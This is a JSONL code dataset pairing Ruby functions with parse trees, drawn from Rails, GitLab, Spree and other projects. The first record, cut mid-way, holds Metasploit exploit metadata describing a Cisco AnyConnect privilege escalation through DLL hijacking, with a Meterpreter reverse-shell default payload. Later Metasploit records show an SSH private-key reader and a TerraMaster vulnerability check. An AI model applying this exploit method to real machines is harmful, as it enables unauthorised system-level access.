attackers\\n\"]},{\"type\":\"str\",\"children\":[\"          to execute code on the affected machine with with system level privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Both attacks consist in sending a specially crafted IPC request to the TCP\\n\"]},{\"type\":\"str\",\"children\":[\"          port 62522 on the loopback device, which is exposed by the Cisco AnyConnect\\n\"]},{\"type\":\"str\",\"children\":[\"          Secure Mobility Agent service. This service will then launch the vulnerable\\n\"]},{\"type\":\"str\",\"children\":[\"          installer component (`vpndownloader`), which copies itself to an arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being\\n\"]},{\"type\":\"str\",\"children\":[\"          executed with system privileges. Since `vpndownloader` is also vulnerable to DLL\\n\"]},{\"type\":\"str\",\"children\":[\"          hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same\\n\"]},{\"type\":\"str\",\"children\":[\"          location `vpndownloader` will be copied to get code execution with system\\n\"]},{\"type\":\"str\",\"children\":[\"          privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect\\n\"]},{\"type\":\"str\",\"children\":[\"          Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10\\n\"]},{\"type\":\"str\",\"children\":[\"          version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been\\n\"]},{\"type\":\"str\",\"children\":[\"          successfully tested against Cisco AnyConnect Secure Mobility Client versions\\n\"]},{\"type\":\"str\",\"children\":[\"          4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version\\n\"]},{\"type\":\"str\",\"children\":[\"          1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Yorick Koster\"]},{\"type\":\"str\",\"children\":[\"Antoine Goichot (ATGO)\"]},{\"type\":\"str\",\"children\":[\"Christophe De La Fuente\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x86/x64 with x86 payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-3153\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-3433\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-08-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FileDropperDelay\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"core_channel_open\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"INSTALL_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cisco AnyConnect Secure Mobility Client installation path (where 'vpndownloader.exe'\"]},{\"type\":\"str\",\"children\":[\" should be found). It will be automatically detected if not set.\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Vulnerability to use\"]},{\"type\":\"str\",\"children\":[\"CVE-2020-3433\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE-2020-3433\"]},{\"type\":\"str\",\"children\":[\"CVE-2020-3153\"]}]}]}]}]}]}]}]}","id":"22e5ad8d-76a2-4e2b-a248-ca2fb09859d9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order/currency_updater.rb","start_line":7,"raw_source":"def homogenize_line_item_currencies\n          update_line_item_currencies!\n          update_with_updater!\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"homogenize_line_item_currencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_line_item_currencies!\"]},{\"type\":\"send\",\"children\":[null,\"update_with_updater!\"]}]}]}","id":"982cb8df-e028-4338-92cc-12b994225942"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":417,"raw_source":"def test_haml_tag_if_error_return; skip\n    assert_raises(Haml::Error) { render(\"= haml_tag_if false, '.conditional' do\\n  %p Hello\") }\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_haml_tag_if_error_return\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Error\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"= haml_tag_if false, '.conditional' do\\n  %p Hello\"]}]}]}]}]}","id":"9280e108-267e-46d0-b571-421ec9ddbf37"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.rb","start_line":60,"raw_source":"def read_keyfile(file)\n    if file.is_a? Array\n      keys = []\n      file.each do |dir_entry|\n        next unless ::File.readable? dir_entry\n\n        keys.concat(read_keyfile(dir_entry))\n      end\n      return keys\n    else\n      keyfile = ::File.open(file, \"rb\") { |f| f.read(f.stat.size) }\n    end\n    keys = []\n    this_key = []\n    in_key = false\n    keyfile.split(\"\\n\").each do |line|\n      in_key = true if (line =~ /^-----BEGIN ([RD]SA|OPENSSH) PRIVATE KEY-----/)\n      this_key << line if in_key\n      if (line =~ /^-----END ([RD]SA|OPENSSH) PRIVATE KEY-----/)\n        in_key = false\n        keys << file unless has_passphrase?(file)\n      end\n    end\n    if keys.empty?\n      print_error \"#{file} - No valid keys found\"\n    end\n    return keys\n  end","complexity_score":40.1,"ast_json":"{\"type\":\"def\",\"children\":[\"read_keyfile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir_entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"readable?\",{\"type\":\"lvar\",\"children\":[\"dir_entry\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"read_keyfile\",{\"type\":\"lvar\",\"children\":[\"dir_entry\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keyfile\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"stat\"]},\"size\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"this_key\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"in_key\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyfile\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^-----BEGIN ([RD]SA|OPENSSH) PRIVATE KEY-----\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"in_key\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"this_key\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^-----END ([RD]SA|OPENSSH) PRIVATE KEY-----\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"in_key\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_passphrase?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" - No valid keys found\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}","id":"e7dc5809-951d-46e2-92a1-05146041a743"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_task.rb","start_line":231,"raw_source":"def results_ready?\n    status == STATUS_OK && task_results.present?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"results_ready?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"STATUS_OK\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"task_results\"]},\"present?\"]}]}]}","id":"1c9cd5ad-aeb8-43c7-9c20-bcb7a0a86350"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/metadata/search.rb","start_line":288,"raw_source":"def as_regex(search_term)\n    # Convert into a case-insensitive regex\n    utf8_buf = search_term.to_s.dup.force_encoding('UTF-8')\n    if utf8_buf.valid_encoding?\n       Regexp.new(Regexp.escape(utf8_buf), Regexp::IGNORECASE)\n    else\n      # If the encoding is invalid, default to a regex that matches anything\n      //\n    end\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"as_regex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search_term\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"utf8_buf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]},\"to_s\"]},\"dup\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"utf8_buf\"]},\"valid_encoding?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"utf8_buf\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"d17f02be-71f7-4271-a2d1-0aea33261342"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/query_logs_test.rb","start_line":11,"raw_source":"def setup\n      build_app(multi_db: true)\n      rails(\"generate\", \"scaffold\", \"Pet\", \"name:string\", \"--database=animals\")\n      app_file \"app/models/user.rb\", <<-RUBY\n        class User < ActiveRecord::Base\n        end\n      RUBY\n\n      app_file \"app/controllers/users_controller.rb\", <<-RUBY\n        class UsersController < ApplicationController\n          def index\n            render inline: ActiveRecord::QueryLogs.call(\"SELECT 1\", Pet.connection)\n          end\n\n          def dynamic_content\n            Time.now.to_f.to_s\n          end\n        end\n      RUBY\n\n      app_file \"app/controllers/name_spaced/users_controller.rb\", <<-RUBY\n        class NameSpaced::UsersController < ApplicationController\n          def index\n            render inline: ActiveRecord::QueryLogs.call(\"\", ActiveRecord::Base.lease_connection)\n          end\n        end\n      RUBY\n\n      app_file \"app/jobs/user_job.rb\", <<-RUBY\n        class UserJob < ActiveJob::Base\n          def perform\n            ActiveRecord::QueryLogs.call(\"\", ActiveRecord::Base.lease_connection)\n          end\n\n          def dynamic_content\n            Time.now.to_f.to_s\n          end\n        end\n      RUBY\n\n      app_file \"config/routes.rb\", <<-RUBY\n        Rails.application.routes.draw do\n          get \"/\", to: \"users#index\"\n          get \"/namespaced/users\", to: \"name_spaced/users#index\"\n        end\n      RUBY\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_app\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi_db\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"generate\"]},{\"type\":\"str\",\"children\":[\"scaffold\"]},{\"type\":\"str\",\"children\":[\"Pet\"]},{\"type\":\"str\",\"children\":[\"name:string\"]},{\"type\":\"str\",\"children\":[\"--database=animals\"]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class User < ActiveRecord::Base\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class UsersController < ApplicationController\\n\"]},{\"type\":\"str\",\"children\":[\"          def index\\n\"]},{\"type\":\"str\",\"children\":[\"            render inline: ActiveRecord::QueryLogs.call(\\\"SELECT 1\\\", Pet.connection)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def dynamic_content\\n\"]},{\"type\":\"str\",\"children\":[\"            Time.now.to_f.to_s\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/controllers/name_spaced/users_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class NameSpaced::UsersController < ApplicationController\\n\"]},{\"type\":\"str\",\"children\":[\"          def index\\n\"]},{\"type\":\"str\",\"children\":[\"            render inline: ActiveRecord::QueryLogs.call(\\\"\\\", ActiveRecord::Base.lease_connection)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/jobs/user_job.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class UserJob < ActiveJob::Base\\n\"]},{\"type\":\"str\",\"children\":[\"          def perform\\n\"]},{\"type\":\"str\",\"children\":[\"            ActiveRecord::QueryLogs.call(\\\"\\\", ActiveRecord::Base.lease_connection)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def dynamic_content\\n\"]},{\"type\":\"str\",\"children\":[\"            Time.now.to_f.to_s\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        Rails.application.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/\\\", to: \\\"users#index\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/namespaced/users\\\", to: \\\"name_spaced/users#index\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]}]}]}","id":"ab3a5d1e-1de2-4e1f-a905-2d077e7cf303"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/my/access_token/new_access_token_form_component.rb","start_line":47,"raw_source":"def i18n_scope\n        [:my, :access_token, :dialog, token.model_name.i18n_key]\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"my\"]},{\"type\":\"sym\",\"children\":[\"access_token\"]},{\"type\":\"sym\",\"children\":[\"dialog\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"model_name\"]},\"i18n_key\"]}]}]}","id":"a2ea994f-501e-4a48-8581-82b47879301a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb","start_line":179,"raw_source":"def check\n    get_terramaster_info\n    return CheckCode::Safe if @terramaster.empty?\n\n    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06')\n      return CheckCode::Vulnerable(\"TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.\")\n    else\n      return CheckCode::Safe(\"TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.\")\n    end\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_terramaster_info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.2.06\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TOS version is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},{\"type\":\"str\",\"children\":[\" and CPU architecture is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cpu_arch\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TOS version is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tos_version\"]}]}]},{\"type\":\"str\",\"children\":[\" and CPU architecture is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@terramaster\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cpu_arch\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}]}","id":"456d9ea1-4df5-4876-8f3b-519527b895f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/sorting_preference.rb","start_line":81,"raw_source":"def update_cookie_value(value)\n    case value\n    when 'id_asc'             then sort_value_oldest_created\n    when 'id_desc'            then sort_value_recently_created\n    when 'downvotes_asc'      then sort_value_popularity\n    when 'downvotes_desc'     then sort_value_popularity\n    else value\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_cookie_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"id_asc\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_oldest_created\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"id_desc\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_recently_created\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"downvotes_asc\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_popularity\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"downvotes_desc\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_popularity\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"d868ca53-372c-44b8-8b2b-259b0f5cd07f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_hash_test.rb","start_line":90,"raw_source":"def test_each_value\n    values = []\n    assert_equal @ordered_hash, @ordered_hash.each_value { |v| values << v }\n    assert_equal @values, values\n    assert_kind_of Enumerator, @ordered_hash.each_value\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_each_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@values\"]},{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]},\"each_value\"]}]}]}]}","id":"7eaa7706-d780-41e1-b997-3b8e9639be6a"}
